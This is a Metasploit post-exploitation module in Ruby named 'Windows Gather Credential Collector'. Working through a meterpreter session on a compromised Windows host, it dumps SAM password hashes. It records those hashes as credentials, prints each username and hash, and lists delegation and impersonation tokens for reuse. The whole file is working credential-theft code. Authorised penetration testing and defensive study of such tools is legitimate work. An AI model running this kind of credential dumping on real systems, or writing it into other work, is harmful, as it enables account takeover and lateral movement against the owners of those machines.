## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Credential Collector', 'Description' => %q{ This module harvests credentials found on the host and stores them in the database. }, 'License' => MSF_LICENSE, 'Author' => [ 'tebo[at]attackresearch.com'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [] }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ incognito_list_tokens priv_passwd_get_sam_hashes ] } }, 'References' => [ [ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ] ] ) ) end def run hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer'] print_status("Running module against #{hostname} (#{session.session_host})") # Make sure we're rockin Priv and Incognito session.core.use('priv') if !session.priv session.core.use('incognito') if !session.incognito # It wasn't me mom! Stinko did it! begin hashes = client.priv.sam_hashes rescue StandardError fail_with(Failure::Unknown, "Error accessing hashes, did you migrate to a process that matched the target's architecture?") end # Target infos for the db record addr = session.session_host # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # Record hashes to the running db instance print_good('Collecting hashes...') hashes.each do |hash| # Build service information service_data = { address: addr, port: 445, service_name: 'smb', protocol: 'tcp' } # Build credential information credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, private_type: :ntlm_hash, private_data: hash.lanman + ':' + hash.ntlm, username: hash.user_name, workspace_id: myworkspace_id } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED, workspace_id: myworkspace_id } login_data.merge!(service_data) create_credential_login(login_data) print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}" end # Record user tokens tokens = session.incognito.incognito_list_tokens(0) raise Rex::Script::Completed if !tokens # Meh, tokens come to us as a formatted string print_good 'Collecting tokens...' (tokens['delegation'] + tokens['impersonation']).split("\n").each do |token| data = {} data[:host] = addr data[:type] = 'smb_token' data[:data] = { :token => token } data[:update] = :unique_data print_line " #{token}" report_note(data) end end end